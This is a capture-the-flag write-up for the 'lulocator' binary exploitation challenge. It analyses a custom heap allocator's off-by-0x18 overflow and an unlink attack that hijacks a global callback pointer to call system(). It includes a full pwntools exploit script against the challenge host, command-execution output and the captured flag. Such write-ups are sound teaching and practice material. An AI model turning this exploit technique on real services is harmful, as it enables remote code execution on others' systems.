Category: Binary Exploitation
Flag: EH4X{unf0rtun4t3ly_th3_lul_1s_0n_m3}
Challenge Description
Who needs that buggy malloc? Made my own completely safe lulocator.
Analysis
The handout immediately telegraphed the shape of the challenge: one custom allocator binary plus an exact libc, which usually means the intended exploit path is inside the program’s own heap logic, not glibc internals.
unzip -l "/home/LIGHT/Downloads/handout_lulocator.zip"Archive: /home/LIGHT/Downloads/handout_lulocator.zip Length Date Time Name--------- ---------- ----- ---- 297 02-28-2026 00:45 handout/Makefile 16608 02-28-2026 00:47 handout/lulocator 2220400 02-28-2026 00:47 handout/libc.so.6 30 02-27-2026 23:57 handout/flag.txtfile "./lulocator"./lulocator: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, ... strippedchecksec --file="./lulocator"[*] '/home/LIGHT/Downloads/handout/lulocator' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: EnabledNo PIE and no canary were nice, but this was not a direct stack-overflow binary. The menu and decompilation showed a custom heap object model with a global “runner” pointer and an indirect callback dispatch, which is exactly where I focused.
strings -a -n 4 "./lulocator" | rg -i "allocator: corrupted free list detected|\[new\]|\[info\]|set_runner|=== lulocator ==="allocator: corrupted free list detected[new] index=%d[info] addr=0x%lx out=0x%lx len=%lu=== lulocator ===5) set_runnerr2 -Aqc "s 0x401e0d; pdg" "./lulocator"void fcn.00401e0d(void){ if (*0x404940 == 0) { sym.imp.puts("[no runner]"); } else { (**(*0x404940 + 0x10))(*0x404940 + 0x28); }}That one function gives the whole endgame: if I can make the global runner (0x404940) point to attacker data, I control both the called function pointer at runner+0x10 and its argument pointer runner+0x28.
r2 -Aqc "s 0x401d3d; pdg" "./lulocator"void fcn.00401d3d(void){ ... *0x404940 = *(var_44h * 8 + 0x4048c0); sym.imp.puts("[runner set]");}r2 -Aqc "s 0x401978; pdg" "./lulocator"void fcn.00401978(void){ ... if (*(var_18h + 0x20) + 0x18U < var_70h) { sym.imp.puts("too long"); return; } ... fcn.00401636(0, var_18h + 0x28, var_70h);}This is the bug: write length is allowed up to chunk_len + 0x18, but write target starts at chunk+0x28. So each chunk can overwrite 0x18 bytes past its own data region—perfect for corrupting the metadata of the physically next chunk.
r2 -Aqc "s 0x4012f2; pdg" "./lulocator"void fcn.004012f2(uint32_t arg1){ ... if ((piVar1 == *(*piVar1 + 8)) && (piVar1 == *piVar1[1])) { *piVar1[1] = *piVar1; *(*piVar1 + 8) = piVar1[1]; return; } sym.imp.fwrite("allocator: corrupted free list detected\n", ...); sym.imp.abort();}That unlink check is classic and bypassable with fake fd/bk setup. The reliable chain was: allocate A and R adjacent, set runner to R, free R (runner becomes stale UAF), overflow from A into freed R’s free-list pointers, then trigger allocation to unlink R and overwrite runner with an attacker-controlled fake object inside A’s data.

The info command gave two essential leaks in one line: chunk address for precise fake-object placement and stdout pointer for libc base recovery. Since a challenge libc was provided in the handout, the exploit resolves system from that exact libc and uses the leak to compute libc_base on the fly.
With runner -> fake_object, fake_object+0x10 = system, and fake_object+0x28 = command string, run becomes system(command). I used a multi-path cat command so the exploit would survive unknown remote flag paths, and the first full remote execution returned the real flag twice in stdout.
python3.12 "./exploit.py" REMOTE[x] Opening connection to chall.ehax.in on port 40137[+] chunk A @ 0x7dda42bfe008[+] chunk R @ 0x7dda42bfe138[+] stdout leak = 0x7dda42e5c780[+] libc base = 0x7dda42c41000[+] system = 0x7dda42c91d70EH4X{unf0rtun4t3ly_th3_lul_1s_0n_m3}...FLAG_FOUND: EH4X{unf0rtun4t3ly_th3_lul_1s_0n_m3}Solution
from pwn import *import re
HOST = "chall.ehax.in"PORT = 40137
libc = ELF("./libc.so.6", checksec=False)
def cmd(io, choice: int): io.sendlineafter(b"> ", str(choice).encode())
def new(io, size: int) -> int: cmd(io, 1) io.sendlineafter(b"size: ", str(size).encode()) io.recvuntil(b"[new] index=") return int(io.recvline().strip())
def write_idx(io, idx: int, length: int, data: bytes): cmd(io, 2) io.sendlineafter(b"idx: ", str(idx).encode()) io.sendlineafter(b"len: ", str(length).encode()) io.sendafter(b"data: ", data) io.recvline()
def delete(io, idx: int): cmd(io, 3) io.sendlineafter(b"idx: ", str(idx).encode()) io.recvline()
def info(io, idx: int): cmd(io, 4) io.sendlineafter(b"idx: ", str(idx).encode()) line = io.recvline().decode(errors="ignore").strip() m = re.search(r"addr=0x([0-9a-fA-F]+) out=0x([0-9a-fA-F]+) len=(\d+)", line) if not m: raise RuntimeError(f"bad info line: {line!r}") return int(m.group(1), 16), int(m.group(2), 16)
def set_runner(io, idx: int): cmd(io, 5) io.sendlineafter(b"idx: ", str(idx).encode()) io.recvline()
def main(): io = remote(HOST, PORT)
a = new(io, 0x100) r = new(io, 0x100)
a_addr, out_ptr = info(io, a) r_addr, _ = info(io, r)
libc.address = out_ptr - libc.symbols["_IO_2_1_stdout_"] system = libc.symbols["system"]
set_runner(io, r) delete(io, r)
command = ( b"cat flag.txt 2>/dev/null; cat /flag.txt 2>/dev/null; " b"cat /flag 2>/dev/null; cat /app/flag.txt 2>/dev/null; " b"cat /home/*/flag.txt 2>/dev/null; echo __END__\x00" )
fake = a_addr + 0x28 payload = bytearray(b"A" * (0x100 + 0x18))
# fake object at `fake` payload[0x08:0x10] = p64(r_addr) # for unlink check payload[0x10:0x18] = p64(system) # callback payload[0x28:0x28 + len(command)] = command
# overwrite freed R chunk metadata via +0x18 OOB write payload[0x100:0x108] = p64(0x130) # keep size payload[0x108:0x110] = p64(fake) # fd payload[0x110:0x118] = p64(0x404940) # bk -> &runner
write_idx(io, a, len(payload), bytes(payload)) new(io, 0x80) # trigger unlink => runner = fake
cmd(io, 6) # run => system(fake+0x28) out = io.recvuntil(b"__END__", timeout=3) print(out.decode(errors="ignore"))
if __name__ == "__main__": main()python3.12 solve.pyEH4X{unf0rtun4t3ly_th3_lul_1s_0n_m3}